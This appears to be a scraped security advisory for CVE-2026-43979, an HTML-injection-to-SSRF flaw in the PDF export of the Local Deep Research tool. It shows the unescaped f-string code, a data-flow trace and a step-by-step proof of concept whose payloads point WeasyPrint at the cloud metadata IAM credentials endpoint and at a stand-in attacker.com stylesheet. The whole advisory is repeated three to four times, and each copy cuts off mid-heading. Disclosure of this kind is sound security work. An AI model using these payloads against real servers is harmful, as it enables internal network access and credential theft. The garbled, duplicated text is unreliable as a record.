CVE-2026-43979

Local Deep Research is an AI-powered research assistant for deep, iterative research. Prior to 1.6.0, PDFService._markdown_to_html() constructs an HTML document by interpolating user-controlled values — specifically title (sourced from research.title or research.query) and metadata key-value pairs — directly into an f-string without any HTML escaping. An authenticated attacker can craft a research query containing HTML special characters to inject arbitrary HTML tags into the document processed by WeasyPrint during PDF export. This injection can be chained to trigger a Server-Side Request Forgery (SSRF), bypassing the application's existing SSRF defenses in ssrf_validator.py. This vulnerability is fixed in 1.6.0.

Local Deep Research is an AI-powered research assistant for deep, iterative research. Prior to 1.6.0, PDFService._markdown_to_html() constructs an HTML document by interpolating user-controlled values — specifically title (sourced from research.title or research.query) and metadata key-value pairs — directly into an f-string without any HTML escaping. An authenticated attacker can craft a research query containing HTML special characters to inject arbitrary HTML tags into the document processed by WeasyPrint during PDF export. This injection can be chained to trigger a Server-Side Request Forgery (SSRF), bypassing the application's existing SSRF defenses in ssrf_validator.py. This vulnerability is fixed in 1.6.0.

Summary

PDFService._markdown_to_html() constructs an HTML document by interpolating user-controlled values — specifically title (sourced from research.title or research.query) and metadata key-value pairs — directly into an f-string without any HTML escaping. An authenticated attacker can craft a research query containing HTML special characters to inject arbitrary HTML tags into the document processed by WeasyPrint during PDF export. This injection can be chained to trigger a Server-Side Request Forgery (SSRF), bypassing the application's existing SSRF defenses in ssrf_validator.py.

Details

Vulnerable code: src/local_deep_research/web/services/pdf_service.py, lines 171–176

# pdf_service.py:171-176
if title:
    html_parts.append(f"<title>{title}</title>")   # ← title is not escaped

if metadata:
    for key, value in metadata.items():
        html_parts.append(f'<meta name="{key}" content="{value}">')  # ← key/value are not escaped

Data flow trace:

User input: research.query
        │
        ▼
research_routes.py:1321
  pdf_title = research.title or research.query
        │
        ▼
research_routes.py:1325-1326
  export_report_to_memory(report_content, format, title=pdf_title)
        │
        ▼
pdf_service.py:107
  PDFService.markdown_to_pdf(markdown_content, title=pdf_title)
        │
        ▼
pdf_service.py:137
  _markdown_to_html(markdown_content, title, metadata)
        │
        ▼
pdf_service.py:172
  f"<title>{title}</title>"   ← injection point, no escaping
        │
        ▼
pdf_service.py:112
  HTML(string=html_content)   ← WeasyPrint renders the injected HTML

research.query is a string submitted by the user via POST /api/start_research, stored as-is in the database, and retrieved without any sanitization. When the user triggers POST /api/v1/research/<research_id>/export/pdf, this value is embedded unescaped into the HTML document processed by WeasyPrint.

Injection point 1: <title> tag breakout

Input:    </title><img src="http://169.254.169.254/latest/meta-data/" />
Rendered: <title></title><img src="http://169.254.169.254/latest/meta-data/" /></title>

When WeasyPrint encounters the injected <img> tag, it issues an HTTP GET request to the value of src by default.

Injection point 2: <meta> attribute breakout

Input:    " /><link rel="stylesheet" href="http://attacker.com/evil.css
Rendered: <meta name="..." content="" /><link rel="stylesheet" href="http://attacker.com/evil.css">

WeasyPrint will fetch and apply the external stylesheet, which also constitutes SSRF.

Proof of Concept

Step 1: Log in and submit a research query containing the injection payload

POST /api/start_research HTTP/1.1
Host: localhost:5000
Content-Type: application/json
Cookie: session=<valid_session>

{
  "query": "</title><img src=\"http://169.254.169.254/latest/meta-data/iam/security-credentials/\" onerror=\"x\"/>",
  "mode": "quick",
  "model_provider": "OLLAMA",
  "model": "llama3"
}

The response returns a research_id, e.g. "aaaa-bbbb-cccc-dddd".

Step 2: After the research completes, trigger PDF export

POST /api/v1/research/aaaa-bbbb-cccc-dddd/export/pdf HTTP/1.1
Host: localhost:5000
Cookie: session=<valid_session>
X-CSRFToken: <csrf_token>

Step 3: Intermediate HTML constructed server-side

<!DOCTYPE html><html><head>
<meta charset="utf-8">
<title></title><img src="http://169.254.169.254/latest/meta-data/iam/security-credentials/" onerror="x"/></title>
</head><body>
...report content...
</body></html>

Step 4: WeasyPrint issues an outbound HTTP request to the injected URL

Observed in network monitoring (e.g. tcpdump) or the target internal service logs:

GET /latest/meta-data/iam/security-credentials/ HTTP/1.1
Host: 169.254.169.254
User-Agent: WeasyPrint/...

**Lightweight verification (no SSRF environment…

Local Deep Research is an AI-powered research assistant for deep, iterative research. Prior to 1.6.0, PDFService._markdown_to_html() constructs an HTML document by interpolating user-controlled values — specifically title (sourced from research.title or research.query) and metadata key-value pairs — directly into an f-string without any HTML escaping. An authenticated attacker can craft a research query containing HTML special characters to inject arbitrary HTML tags into the document processed by WeasyPrint during PDF export. This injection can be chained to trigger a Server-Side Request Forgery (SSRF), bypassing the application's existing SSRF defenses in ssrf_validator.py. This vulnerability is fixed in 1.6.0.

Local Deep Research is an AI-powered research assistant for deep, iterative research. Prior to 1.6.0, PDFService._markdown_to_html() constructs an HTML document by interpolating user-controlled values — specifically title (sourced from research.title or research.query) and metadata key-value pairs — directly into an f-string without any HTML escaping. An authenticated attacker can craft a research query containing HTML special characters to inject arbitrary HTML tags into the document processed by WeasyPrint during PDF export. This injection can be chained to trigger a Server-Side Request Forgery (SSRF), bypassing the application's existing SSRF defenses in ssrf_validator.py. This vulnerability is fixed in 1.6.0.

Summary

PDFService._markdown_to_html() constructs an HTML document by interpolating user-controlled values — specifically title (sourced from research.title or research.query) and metadata key-value pairs — directly into an f-string without any HTML escaping. An authenticated attacker can craft a research query containing HTML special characters to inject arbitrary HTML tags into the document processed by WeasyPrint during PDF export. This injection can be chained to trigger a Server-Side Request Forgery (SSRF), bypassing the application's existing SSRF defenses in ssrf_validator.py.

Details

Vulnerable code: src/local_deep_research/web/services/pdf_service.py, lines 171–176

# pdf_service.py:171-176
if title:
    html_parts.append(f"<title>{title}</title>")   # ← title is not escaped

if metadata:
    for key, value in metadata.items():
        html_parts.append(f'<meta name="{key}" content="{value}">')  # ← key/value are not escaped

Data flow trace:

User input: research.query
        │
        ▼
research_routes.py:1321
  pdf_title = research.title or research.query
        │
        ▼
research_routes.py:1325-1326
  export_report_to_memory(report_content, format, title=pdf_title)
        │
        ▼
pdf_service.py:107
  PDFService.markdown_to_pdf(markdown_content, title=pdf_title)
        │
        ▼
pdf_service.py:137
  _markdown_to_html(markdown_content, title, metadata)
        │
        ▼
pdf_service.py:172
  f"<title>{title}</title>"   ← injection point, no escaping
        │
        ▼
pdf_service.py:112
  HTML(string=html_content)   ← WeasyPrint renders the injected HTML

research.query is a string submitted by the user via POST /api/start_research, stored as-is in the database, and retrieved without any sanitization. When the user triggers POST /api/v1/research/<research_id>/export/pdf, this value is embedded unescaped into the HTML document processed by WeasyPrint.

Injection point 1: <title> tag breakout

Input:    </title><img src="http://169.254.169.254/latest/meta-data/" />
Rendered: <title></title><img src="http://169.254.169.254/latest/meta-data/" /></title>

When WeasyPrint encounters the injected <img> tag, it issues an HTTP GET request to the value of src by default.

Injection point 2: <meta> attribute breakout

Input:    " /><link rel="stylesheet" href="http://attacker.com/evil.css
Rendered: <meta name="..." content="" /><link rel="stylesheet" href="http://attacker.com/evil.css">

WeasyPrint will fetch and apply the external stylesheet, which also constitutes SSRF.

Proof of Concept

Step 1: Log in and submit a research query containing the injection payload

POST /api/start_research HTTP/1.1
Host: localhost:5000
Content-Type: application/json
Cookie: session=<valid_session>

{
  "query": "</title><img src=\"http://169.254.169.254/latest/meta-data/iam/security-credentials/\" onerror=\"x\"/>",
  "mode": "quick",
  "model_provider": "OLLAMA",
  "model": "llama3"
}

The response returns a research_id, e.g. "aaaa-bbbb-cccc-dddd".

Step 2: After the research completes, trigger PDF export

POST /api/v1/research/aaaa-bbbb-cccc-dddd/export/pdf HTTP/1.1
Host: localhost:5000
Cookie: session=<valid_session>
X-CSRFToken: <csrf_token>

Step 3: Intermediate HTML constructed server-side

<!DOCTYPE html><html><head>
<meta charset="utf-8">
<title></title><img src="http://169.254.169.254/latest/meta-data/iam/security-credentials/" onerror="x"/></title>
</head><body>
...report content...
</body></html>

Step 4: WeasyPrint issues an outbound HTTP request to the injected URL

Observed in network monitoring (e.g. tcpdump) or the target internal service logs:

GET /latest/meta-data/iam/security-credentials/ HTTP/1.1
Host: 169.254.169.254
User-Agent: WeasyPrint/...

**Lightweight verification (no SSRF environment…

Summary

PDFService._markdown_to_html() constructs an HTML document by interpolating user-controlled values — specifically title (sourced from research.title or research.query) and metadata key-value pairs — directly into an f-string without any HTML escaping. An authenticated attacker can craft a research query containing HTML special characters to inject arbitrary HTML tags into the document processed by WeasyPrint during PDF export. This injection can be chained to trigger a Server-Side Request Forgery (SSRF), bypassing the application's existing SSRF defenses in ssrf_validator.py.

Details

Vulnerable code: src/local_deep_research/web/services/pdf_service.py, lines 171–176

# pdf_service.py:171-176
if title:
    html_parts.append(f"<title>{title}</title>")   # ← title is not escaped

if metadata:
    for key, value in metadata.items():
        html_parts.append(f'<meta name="{key}" content="{value}">')  # ← key/value are not escaped

Data flow trace:

User input: research.query
        │
        ▼
research_routes.py:1321
  pdf_title = research.title or research.query
        │
        ▼
research_routes.py:1325-1326
  export_report_to_memory(report_content, format, title=pdf_title)
        │
        ▼
pdf_service.py:107
  PDFService.markdown_to_pdf(markdown_content, title=pdf_title)
        │
        ▼
pdf_service.py:137
  _markdown_to_html(markdown_content, title, metadata)
        │
        ▼
pdf_service.py:172
  f"<title>{title}</title>"   ← injection point, no escaping
        │
        ▼
pdf_service.py:112
  HTML(string=html_content)   ← WeasyPrint renders the injected HTML

research.query is a string submitted by the user via POST /api/start_research, stored as-is in the database, and retrieved without any sanitization. When the user triggers POST /api/v1/research/<research_id>/export/pdf, this value is embedded unescaped into the HTML document processed by WeasyPrint.

Injection point 1: <title> tag breakout

Input:    </title><img src="http://169.254.169.254/latest/meta-data/" />
Rendered: <title></title><img src="http://169.254.169.254/latest/meta-data/" /></title>

When WeasyPrint encounters the injected <img> tag, it issues an HTTP GET request to the value of src by default.

Injection point 2: <meta> attribute breakout

Input:    " /><link rel="stylesheet" href="http://attacker.com/evil.css
Rendered: <meta name="..." content="" /><link rel="stylesheet" href="http://attacker.com/evil.css">

WeasyPrint will fetch and apply the external stylesheet, which also constitutes SSRF.

Proof of Concept

Step 1: Log in and submit a research query containing the injection payload

POST /api/start_research HTTP/1.1
Host: localhost:5000
Content-Type: application/json
Cookie: session=<valid_session>

{
  "query": "</title><img src=\"http://169.254.169.254/latest/meta-data/iam/security-credentials/\" onerror=\"x\"/>",
  "mode": "quick",
  "model_provider": "OLLAMA",
  "model": "llama3"
}

The response returns a research_id, e.g. "aaaa-bbbb-cccc-dddd".

Step 2: After the research completes, trigger PDF export

POST /api/v1/research/aaaa-bbbb-cccc-dddd/export/pdf HTTP/1.1
Host: localhost:5000
Cookie: session=<valid_session>
X-CSRFToken: <csrf_token>

Step 3: Intermediate HTML constructed server-side

<!DOCTYPE html><html><head>
<meta charset="utf-8">
<title></title><img src="http://169.254.169.254/latest/meta-data/iam/security-credentials/" onerror="x"/></title>
</head><body>
...report content...
</body></html>

Step 4: WeasyPrint issues an outbound HTTP request to the injected URL

Observed in network monitoring (e.g. tcpdump) or the target internal service logs:

GET /latest/meta-data/iam/security-credentials/ HTTP/1.1
Host: 169.254.169.254
User-Agent: WeasyPrint/...

**Lightweight verification (no SSRF environment…